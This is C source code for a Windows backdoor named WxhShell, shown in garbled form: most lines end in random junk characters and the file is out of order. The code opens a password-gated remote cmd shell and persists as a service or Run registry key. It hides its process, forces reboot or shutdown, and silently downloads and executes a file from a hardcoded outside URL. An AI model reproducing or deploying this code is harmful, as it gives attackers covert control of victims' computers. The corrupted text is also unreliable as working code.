  // 关机 .FAuM~_99b  
  case 'd': { 6dX l ny1H  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); h2Jdcr#@FF  
    if(Boot(SHUTDOWN)) DYvg^b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4xNzhnp|  
    else { O\qY? )  
    closesocket(wsh); <\5Y~!)  
    ExitThread(0); vH9Gf  
    } wKs-<b%;  
    break; i3\6*$Ug  
    } $8,/[V A  
  // 获取shell /2PsC*y  
  case 's': { SB`"%6  
    CmdShell(wsh); Ty>g:#bogI  
    closesocket(wsh); V{G9E  
    ExitThread(0); lEv<n6:_  
    break; wC[Bh^]  
  } hFWK^]~ a  
  // 退出 Lg4I6 G  
  case 'x': { BHBMMjY5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *]_GFixi  
    CloseIt(wsh); k@= LR  
    break; P(BV J_n  
    } Z<0+<tt  
  // 离开 d[.JEgU  
  case 'q': { (KxL*gB  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0Ku%9wh-  
    closesocket(wsh); HR83{B21  
    WSACleanup(); ePJtdKN:  
    exit(1); %?WmWs0  
    break; -'!%\E;5  
        } xiPP&$mg  
  } g"Z X1X  
  } +~A<&7[}  
#%i-{t+_>  
  // 提示信息 b,#E.%SLw  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N~An}QX|  
} A?xb u*zV,  
  } `FM^)(wT  
A{Q:,S)  
  return; +t XOP|X  
} !zNMU$p  
C=/nZGG  
// shell模块句柄 #TX=%x6  
int CmdShell(SOCKET sock) |O]oX[~  
{ K9y!ZoB  
STARTUPINFO si; nC5  
ZeroMemory(&si,sizeof(si)); NK@G0p~O  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &`'gO 9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,\K1cW~U5  
PROCESS_INFORMATION ProcessInfo; /U%Xs}A)  
char cmdline[]="cmd"; S qQqG3F  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); sm>Hkci%  
  return 0; afMIqQ?  
} JDzk v%E^  
d>Z{TFY  
// 自身启动模式 mTzzF9n"Y  
int StartFromService(void) ~=,|dGAa$  
{ \ns#l@B  
typedef struct #?z 1cgCg  
{ L_rKVoKjt  
  DWORD ExitStatus; a,U =irBA  
  DWORD PebBaseAddress; $v6dB {%Qu  
  DWORD AffinityMask; ,SAS\!hsE  
  DWORD BasePriority; q_N8JQg  
  ULONG UniqueProcessId; !Fz9\|  
  ULONG InheritedFromUniqueProcessId; tU%-tlU9?  
}   PROCESS_BASIC_INFORMATION; ^m   
EO;f`s)t  
PROCNTQSIP NtQueryInformationProcess; fx QN  
?7cF_Zvve  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; M9@#W"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M#qZ0JT4  
*S.2p*Vd  
  HANDLE             hProcess; P~0d'Oi  
  PROCESS_BASIC_INFORMATION pbi; O>Nop5#o  
kgz2/,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?6 "F.\ O@  
  if(NULL == hInst ) return 0; %Iv0<oU  
<oS k!6*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1b'1vp  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); WQ]~TGW  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9k^;]jE  
K`@GN T&  
  if (!NtQueryInformationProcess) return 0; LTY@}o]\U  
h<9h2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h(I~HZ[K&T  
  if(!hProcess) return 0; d+|8({X]D8  
>29eu^~nh  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z<|ca T]Q(  
P$)9osr  
  CloseHandle(hProcess); x c-=;|s  
56o?=|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); dxkXt  k  
if(hProcess==NULL) return 0; @Ey(0BxNu  
MWCP/~>a2  
HMODULE hMod; C<6IiF[>%  
char procName[255]; @Ns^?#u~   
unsigned long cbNeeded; m4n J9<-  
xnu|?;.}!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +MQf2|--  
A;h0BQm/j  
  CloseHandle(hProcess); I,AI$A  
%f@VOSs  
if(strstr(procName,"services")) return 1; // 以服务启动 C/[2?[  
OZ_'& CZ  
  return 0; // 注册表启动 ~R)Km`t  
} S&V5zB""n  
}d)>pH  
// 主模块 Z\{WBUR;4t  
int StartWxhshell(LPSTR lpCmdLine) ^n<p#0)+a  
{ ];1z%.  
  SOCKET wsl; <9/oqp{C4  
BOOL val=TRUE; 7fl'nCo\"  
  int port=0; y-"*[5{W  
  struct sockaddr_in door; 3;j?i<kM  
5RTAM  
  if(wscfg.ws_autoins) Install(); oa`,|dA"  
/+J?Ep(_  
port=atoi(lpCmdLine); F#iLMO&Q  
b9OT~i=S|  
if(port<=0) port=wscfg.ws_port; y6; '?.Y1  
Gz!72H  
  WSADATA data; -^;G^Uq6=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )j@k[}R#g  
}{Lf 4|8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   N`grr{*_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g=[ F W@z  
  door.sin_family = AF_INET; .d9VV&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); U;6~]0^K  
  door.sin_port = htons(port); tGd9Cs9D<  
T_,LK7D  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A A<9 XC  
closesocket(wsl); ;oULtQ  
return 1; C|W_j&S65  
} X?Omk, '  
FWdSpaas Q  
  if(listen(wsl,2) == INVALID_SOCKET) { >9=Y(`  
closesocket(wsl); _hMVv&$  
return 1; H U$:x"AW  
} t_,iV9NrZ  
  Wxhshell(wsl); ^C):yxN P  
  WSACleanup(); q`}Q[Li  
f<WnPoV  
return 0; *=S\jek  
VPn #O  
} PKfxL}:"8  
=o_d2 Ak  
// 以NT服务方式启动 ^=D77 jS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _ZD)#?  
{ +B_q? 6pR  
DWORD   status = 0; c.,:r X0S  
  DWORD   specificError = 0xfffffff; Q_6./.GQ  
z8>KY/c  
  serviceStatus.dwServiceType     = SERVICE_WIN32; jL%-G  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #JO#PV%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5]p>& |Ud  
  serviceStatus.dwWin32ExitCode     = 0; VuJth  
  serviceStatus.dwServiceSpecificExitCode = 0; G+b$WQn2t  
  serviceStatus.dwCheckPoint       = 0; @'R4zJ&+S  
  serviceStatus.dwWaitHint       = 0; Y: KB"H  
\E?1bc{\f  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); O`t ]#  
  if (hServiceStatusHandle==0) return; * 2T&pX  
C+ r--"Z  
status = GetLastError(); F.PD5%/$q  
  if (status!=NO_ERROR) ;csAhkf:S  
{ _ZzPy;[i?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; '/;#{("  
    serviceStatus.dwCheckPoint       = 0; *-_` xe  
    serviceStatus.dwWaitHint       = 0; ):LJ {.0R  
    serviceStatus.dwWin32ExitCode     = status; IDE@{Dy  
    serviceStatus.dwServiceSpecificExitCode = specificError; #B`"B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?*,N ?s(U  
    return; AUS?P t[w  
  } N.xmHvPk  
:XBeGNI*#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; l%fnGe` _  
  serviceStatus.dwCheckPoint       = 0; StP6G ]x  
  serviceStatus.dwWaitHint       = 0; fBD5K3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); yql+N[  
} og. dYs7W4  
Zf]d'oW{/  
// 处理NT服务事件,比如:启动、停止 TDtk'=;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Lkk'y})/  
{ yn!LJT[~2  
switch(fdwControl) c !P9`l~MQ  
{ 3Eiy/  
case SERVICE_CONTROL_STOP: ?)4|WN|c_  
  serviceStatus.dwWin32ExitCode = 0; 8dIgw  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; i]hFiX  
  serviceStatus.dwCheckPoint   = 0; wOHK dQ'  
  serviceStatus.dwWaitHint     = 0; wc~a}0uz  
  { I.y|AQB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e#kPf 'gL  
  } nsw.\(#  
  return; 79:x>i=  
case SERVICE_CONTROL_PAUSE: JZu7Fb]L9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \)y5~te*  
  break; 09|d<  
case SERVICE_CONTROL_CONTINUE: dW8'$!@!!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .__X[Mzth3  
  break; Xd|@w{.m*  
case SERVICE_CONTROL_INTERROGATE: aKH\8O4L5  
  break; ;13lu1  
}; (.%:Q0i1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nV:.-JR  
} l4;/[Q>Z  
jn)~@~c  
// 标准应用程序主函数 B Sb!{|]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) u^ngD64  
{ ^Y #?@  
tJHzhH)  
// 获取操作系统版本 J&8l1{gd  
OsIsNt=GetOsVer(); PJA 1/"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); YroKC+4"i  
:Q?xNY%  
  // 从命令行安装 !i)?j@D  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2+"#  
oh& P Q{  
  // 下载执行文件 .]v8W51Y  
if(wscfg.ws_downexe) { oB_{xu$6|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o5Pq>Y2T  
  WinExec(wscfg.ws_filenam,SW_HIDE); TmzEZ<} &7  
} P_&2HA,I  
g&BF#)7C  
if(!OsIsNt) { RMLs(?e  
// 如果时win9x,隐藏进程并且设置为注册表启动 lQ! 6n  
HideProc(); _h@e.BtDs  
StartWxhshell(lpCmdLine); !n)2HDYhx,  
} hz\7Z+$L_  
else gR~XkU  
  if(StartFromService()) ?LvZEiJ  
  // 以服务方式启动 47 m:z5;  
  StartServiceCtrlDispatcher(DispatchTable); JRU)AMMU&  
else q ,}W.  
  // 普通方式启动 q'c'rN^  
  StartWxhshell(lpCmdLine); 0%'&s)#  
7z F29gC  
return 0; Zf?>:P  
} &:'Uh W-t  
dk{yx(Ty  
--  _,;  
/o8h1L=  
=========================================== H$1R\rE`  
P" 3{s+ r  
uWi+F)GS^K  
W~dS8B=<  
XQlK}AK  
=AZ>2P  
" (y#8z6\dx  
^U:pv0Qz  
#include <stdio.h> {!'AR`|  
#include <string.h> k\x>kJ}0  
#include <windows.h> $Wb"X=}tl  
#include <winsock2.h> I^\YD9~=x  
#include <winsvc.h> KcNEB_i  
#include <urlmon.h> yWt87+%T  
-b r/  
#pragma comment (lib, "Ws2_32.lib") !*+~R2&b  
#pragma comment (lib, "urlmon.lib") <\2,7K{{+;  
r-&4<=C/N  
#define MAX_USER   100 // 最大客户端连接数 LuR.;TiW  
#define BUF_SOCK   200 // sock buffer 5XA6IL|/l  
#define KEY_BUFF   255 // 输入 buffer y=5s~7]  
%2bZeZ  
#define REBOOT     0   // 重启 @ZD1HA,h"  
#define SHUTDOWN   1   // 关机 UiaY0 .D  
Mq6.!j  
#define DEF_PORT   5000 // 监听端口 gWgYZX  
Q[`_Y3@j  
#define REG_LEN     16   // 注册表键长度 QfT&y &  
#define SVC_LEN     80   // NT服务名长度 s 6vsV  
&xrm;pO  
// 从dll定义API :6N{~[:4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wgzjuTqwBF  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); m cp}F|ws  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); lj'c0k8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); " 0K5 /9  
F}2U8O  
// wxhshell配置信息 5NBc8h7 V  
struct WSCFG { Fu{[5uv  
  int ws_port;         // 监听端口 { S4?L8  
  char ws_passstr[REG_LEN]; // 口令 r?[PIf  
  int ws_autoins;       // 安装标记, 1=yes 0=no )bw^!w)  
  char ws_regname[REG_LEN]; // 注册表键名 q ( H^H  
  char ws_svcname[REG_LEN]; // 服务名 9'td}S  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 tezsoR!.ak  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &tHT6,Xv(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "2N3L8?k  
int ws_downexe;       // 下载执行标记, 1=yes 0=no GT<Y]Dk  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" K=+w,H# `C  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 GkaIqBS  
X2q$i  
}; @M:j~  
{$oZR" MP  
// default Wxhshell configuration (9fqUbG  
struct WSCFG wscfg={DEF_PORT, V5qvH"^  
    "xuhuanlingzhe", +%$!sp?  
    1, m"X0Owx  
    "Wxhshell", :}o0Eb  
    "Wxhshell", )?I1*(1{A  
            "WxhShell Service", .nKyB'uV  
    "Wrsky Windows CmdShell Service", o^d(mJZ.F~  
    "Please Input Your Password: ", }g5h"N\$o  
  1, o24` 5Jdh  
  "http://www.wrsky.com/wxhshell.exe", X.%Xi'H  
  "Wxhshell.exe" z#8GF^U:T  
    }; tJbOn$]2"  
.kBi" p&  
// 消息定义模块 hTf]t  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <;SQ1^N  
char *msg_ws_prompt="\n\r? for help\n\r#>"; T_y 'cvh  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6=MejT  
char *msg_ws_ext="\n\rExit."; P[% W[E<  
char *msg_ws_end="\n\rQuit."; 86vk"  
char *msg_ws_boot="\n\rReboot..."; Rfeiv  
char *msg_ws_poff="\n\rShutdown..."; fPZBm&`C  
char *msg_ws_down="\n\rSave to "; qYGnebn@\  
zp,f}  
char *msg_ws_err="\n\rErr!"; cQ1oy-paD  
char *msg_ws_ok="\n\rOK!"; ce 1KUwo]  
'O \YL(j_e  
char ExeFile[MAX_PATH]; v9u/<w68!  
int nUser = 0; ~EpMO]I  
HANDLE handles[MAX_USER]; ^['%wA%  
int OsIsNt; ofj7$se  
g@`14U/|  
SERVICE_STATUS       serviceStatus; K3!|k(jt  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; DUM,dFIlvF  
>.\G/'\?  
// 函数声明 >p}d:t/  
int Install(void); o8H<{D13  
int Uninstall(void); O]4!U#A  
int DownloadFile(char *sURL, SOCKET wsh); 9IN =m 5  
int Boot(int flag); FavU"QU&|  
void HideProc(void); n|yl3v  
int GetOsVer(void); 1Jd82N\'  
int Wxhshell(SOCKET wsl); 1;080| ,s  
void TalkWithClient(void *cs); xXp\U'Ad~~  
int CmdShell(SOCKET sock); * j:  
int StartFromService(void);  &5O  
int StartWxhshell(LPSTR lpCmdLine); hy3[MOD$G  
T5Sa9\`>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [/6$P[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); eP(%+[g  
9kH~+  
// 数据结构和表定义 i8Yl1nF  
SERVICE_TABLE_ENTRY DispatchTable[] = 7==Uz?}C  
{ ipw_AC~  
{wscfg.ws_svcname, NTServiceMain}, tA3]6SIK@  
{NULL, NULL} ]J~37 35]  
}; WFjNS'WI_  
G0^23j  
// 自我安装 |hiYV  
int Install(void) +}I[l,,xy  
{ h" P4  
  char svExeFile[MAX_PATH]; j/ #kO?  
  HKEY key; NA]7qb%%<  
  strcpy(svExeFile,ExeFile);  C!Y|k.`p  
]Qkto4DQ5  
// 如果是win9x系统,修改注册表设为自启动 !5? #^q  
if(!OsIsNt) { nyw,Fu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Zo-E0[9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^.nvX{H8~=  
  RegCloseKey(key); 7$8z}2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?*9U d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y@nWa\i G  
  RegCloseKey(key); |pqLwnOu  
  return 0; VahR nD  
    } Ty*ec%U9F  
  } E@JxY  
} GWM2l?zOP  
else { 'R*xg2!i  
n AoGG0$5  
// 如果是NT以上系统,安装为系统服务 \&&kUpI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 23_<u]V  
if (schSCManager!=0) QKwWX_3%Z]  
{ J= ia  
  SC_HANDLE schService = CreateService x +q"%9.c  
  ( ~V`D@-VND  
  schSCManager, 9RE{,mos2v  
  wscfg.ws_svcname, "SNsOf  
  wscfg.ws_svcdisp, t TA6 p  
  SERVICE_ALL_ACCESS, MPAZ%<gmD  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , MN$j{+!Q  
  SERVICE_AUTO_START, ^;6~=@#*C  
  SERVICE_ERROR_NORMAL, zt[TShD^  
  svExeFile, l^u P?l"  
  NULL, $Y,,e3R3  
  NULL, ^R,5T}J.  
  NULL, l0U6eOx  
  NULL, h:z;b;  
  NULL -E2[PW4$  
  ); Wey-nsk  
  if (schService!=0) Zj<oh8  
  { >-s}1*^=oD  
  CloseServiceHandle(schService); c72Oy+#  
  CloseServiceHandle(schSCManager); $a15 8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [9BlP  
  strcat(svExeFile,wscfg.ws_svcname); \S=!la_T@m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { htX'bA  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6lT1X)  
  RegCloseKey(key); ]WWre},  
  return 0; ,\+tvrR4X  
    } J}._v\Q7P  
  } tPO.^  
  CloseServiceHandle(schSCManager); x^+ C[%  
} O.& 6J/  
} g#9w5Q  
Yo| H`m,  
return 1; UM|GX  
} +GP"9S2%R  
X-:Ni_O\ty  
// 自我卸载 M\\TQ(B  
int Uninstall(void) 2Mu-c:1  
{ k5!k3yI  
  HKEY key; e&; c^Z  
+FY-r[_~  
if(!OsIsNt) { )tFFa*Z'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f910drg7  
  RegDeleteValue(key,wscfg.ws_regname); %bDd  
  RegCloseKey(key); "sT`Dhr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <Cg;l<$`b  
  RegDeleteValue(key,wscfg.ws_regname); ]DmqhK`  
  RegCloseKey(key); j@GMZz<  
  return 0; m9#u. Q*  
  } U|{WtuR  
} vbDw2  
}  o<Y|N   
else { +bdkqdB9  
)Bb :tz+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &sS k~:  
if (schSCManager!=0) OUI}jJw+  
{ LTzf&TZbx5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); DOhXb  
  if (schService!=0) /R|"/B0  
  { )z/j5tnvm  
  if(DeleteService(schService)!=0) { +S;8=lzuV  
  CloseServiceHandle(schService); s3J T1TX  
  CloseServiceHandle(schSCManager); d57(#)`  
  return 0; m G?a)P  
  } KOi%zE%  
  CloseServiceHandle(schService); WCR+ZXI?1  
  } elKQge  
  CloseServiceHandle(schSCManager); nJ*NI)  
} /jj!DO#  
} ni~45WX3  
oC4rL\d{  
return 1; (/k,q  
} (]7@0d88  
X\1D[n:  
// 从指定url下载文件 ngm7Vs  
int DownloadFile(char *sURL, SOCKET wsh) {F@;45)o  
{ zh/+1  
  HRESULT hr; Rx`0VQ  
char seps[]= "/"; 'O{hr0q}  
char *token; n0vPW^EQ  
char *file; ^f<f&V  
char myURL[MAX_PATH]; 5)T{iPU%X  
char myFILE[MAX_PATH]; 6@l:(-(j2A  
"Ww^?"jQ)  
strcpy(myURL,sURL); zEO 9TuBO  
  token=strtok(myURL,seps); Ho \+xX  
  while(token!=NULL) / /wmJ |  
  { (_nkscf  
    file=token; TS UN(_XGW  
  token=strtok(NULL,seps); >@oO7<WB  
  } S?Eg   
}DZkCzK  
GetCurrentDirectory(MAX_PATH,myFILE); <m@U`RFm  
strcat(myFILE, "\\"); F&c A!~  
strcat(myFILE, file); :"QRB#EC%  
  send(wsh,myFILE,strlen(myFILE),0); @kqy!5)K  
send(wsh,"...",3,0); =A!I-@]q<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 57[O)5u.+  
  if(hr==S_OK) .Bi7~*N  
return 0; m|f|u3'z$  
else \ [>Rt  
return 1; {|rwIRe  
IL>g-  
} Wq,UxMz  
*-P@|eg  
// 系统电源模块 B"Fg`s+]U  
int Boot(int flag) -C8awtbC  
{ >Zr/U!W*?  
  HANDLE hToken; Pc4sReo'  
  TOKEN_PRIVILEGES tkp; )L#I#%  
97Q!Rot  
  if(OsIsNt) { 4e%SF|(Y'h  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); GGLVv)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~+T~}S  
    tkp.PrivilegeCount = 1; [xE\IqwM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; j; +nnpg  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); OKf/[hyu  
if(flag==REBOOT) { ol:_2G2xQ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) r;Dl  
  return 0; ;- cq#8S  
} P, >#  
else { Wg$MKc9Vy[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) pkxW19h*0  
  return 0; #D>8\#53V/  
} |J6CH87>  
  } :^ cA\2=  
  else { %*s[s0$c  
if(flag==REBOOT) { \}<nXn!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]"YG7|EU  
  return 0; Gm6^BYCk  
} ,$*IJeKx  
else { wiFckF/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  z!F?#L5  
  return 0; a{-}8f6  
} |bBYJ  
} ZAiQofQ:2  
]0O pd9  
return 1; &j>`H:  
} P"xP%zqo  
M@gm.)d  
// win9x进程隐藏模块 )?_c7 R  
void HideProc(void) W}Z|v M$  
{ e{?~ m6  
H~$a6T"&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); XGO_n{ x  
  if ( hKernel != NULL ) n\P{Mc  
  {  oR5`-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); U~T/f-CT  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,m:MI/ )p  
    FreeLibrary(hKernel); {WC{T2:8  
  } Z&21gN  
Uh9$e  
return; 2} T" |56  
} aIm\tPbb  
2?m'Dy'JE  
// 获取操作系统版本 my*/MC^O  
int GetOsVer(void) k'S/nF A  
{ &PGU%"rN  
  OSVERSIONINFO winfo; g.,IQ4o  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,7/N=mz  
  GetVersionEx(&winfo); evn ]n  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5X[=Q>  
  return 1; WO '33Q(  
  else ~s88JLw%&u  
  return 0; H(""So7L  
} ,rG$JCS'KQ  
(A ?e}M^}  
// 客户端句柄模块 T$RZRZo  
int Wxhshell(SOCKET wsl) .ipYZg'V  
{ fc&4e:Ve  
  SOCKET wsh; 5$jKw\FF=  
  struct sockaddr_in client; %*Y:Rm'>  
  DWORD myID; cl{;%4$9  
}b~ZpUL!  
  while(nUser<MAX_USER) =m1B1St2  
{ >-]Y%O;}  
  int nSize=sizeof(client); y&SueU=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); L.erP* w  
  if(wsh==INVALID_SOCKET) return 1; 'GNT'y_  
[S*bN!t  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^S[Mg6J  
if(handles[nUser]==0) PiM@iS  
  closesocket(wsh); r0hu?3u1?  
else xy[R9_V  
  nUser++; #,$d!l @  
  } 4egq Y0A  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); & XcY|y=W  
8wwD\1pLS  
  return 0; /(XtNtO*  
} Dmn6{jy P  
CB6<Vng}C  
// 关闭 socket k+%6 :r,r&  
void CloseIt(SOCKET wsh) e6]u5;B r  
{ :uqsRFo&4  
closesocket(wsh); V~ZAs+(2Z  
nUser--; ,AWN *OS  
ExitThread(0); Joe k4t&0<  
} \J:/l|h  
y<.1+TG  
// 客户端请求句柄 +MXI;k_  
void TalkWithClient(void *cs) _kgw+NA&-H  
{ >Ei_##  
4Yx?75/  
  SOCKET wsh=(SOCKET)cs; CYs:P8^  
  char pwd[SVC_LEN]; >H?8?a D  
  char cmd[KEY_BUFF]; rsA K0R+  
char chr[1]; HPm12&8,  
int i,j; t|d9EC]c(  
@ Al\:  
  while (nUser < MAX_USER) { hesL$Z [  
,%yjEO  
if(wscfg.ws_passstr) { ?r#e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jsc1B  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BPe5c :z  
  //ZeroMemory(pwd,KEY_BUFF); h_Q9 c  
      i=0; 0I& !a$:  
  while(i<SVC_LEN) { {_l@ws  
!{"{(h)+@  
  // 设置超时 GuNzrKDr  
  fd_set FdRead; 8 <EE4y  
  struct timeval TimeOut; ~[isR|>  
  FD_ZERO(&FdRead); 05.^MU?^U  
  FD_SET(wsh,&FdRead); )"wWV{k  
  TimeOut.tv_sec=8; -+-@Yq$  
  TimeOut.tv_usec=0; ^6oz3+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); CR&v z3\Q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -dZ7;n5&_  
0vt?yD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `/8Dmg  
  pwd=chr[0]; Hq3"OMGq  
  if(chr[0]==0xd || chr[0]==0xa) { [C9->`(`  
  pwd=0; uI!rJc>TX  
  break; PW~+=,  
  } V8 }yK$4b  
  i++; nB WVG  
    } xP "7B9B  
>@rsh-Z  
  // 如果是非法用户,关闭 socket c54oQ1Q&"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j0~]o})@i  
} yk,o*g  
ehV`@ss  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V31<~&O~%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kR3g,P{L  
|Xlpgdiu  
while(1) { 4(f[Z9 iZ]  
db'Jl^  
  ZeroMemory(cmd,KEY_BUFF); Zchs/C 9{  
2X!O '  
      // 自动支持客户端 telnet标准   &2d^=fih  
  j=0; K}L-$B*i  
  while(j<KEY_BUFF) { bb`GV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {.K >9#^m  
  cmd[j]=chr[0]; 'C)`j{CS  
  if(chr[0]==0xa || chr[0]==0xd) { Om,+59ua*  
  cmd[j]=0; !MOVv\@O  
  break; hjtkq .@  
  } #qtAFIm'  
  j++; 67wY_\m9I  
    } ,|<2wn#q  
4RGEg;]S  
  // 下载文件 @bSxT,2  
  if(strstr(cmd,"http://")) { uckag/tv  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); yF8 av=<{  
  if(DownloadFile(cmd,wsh)) K*xqQ]&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); LJt#c+]Li  
  else q;3.pRw(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N0,wT6.  
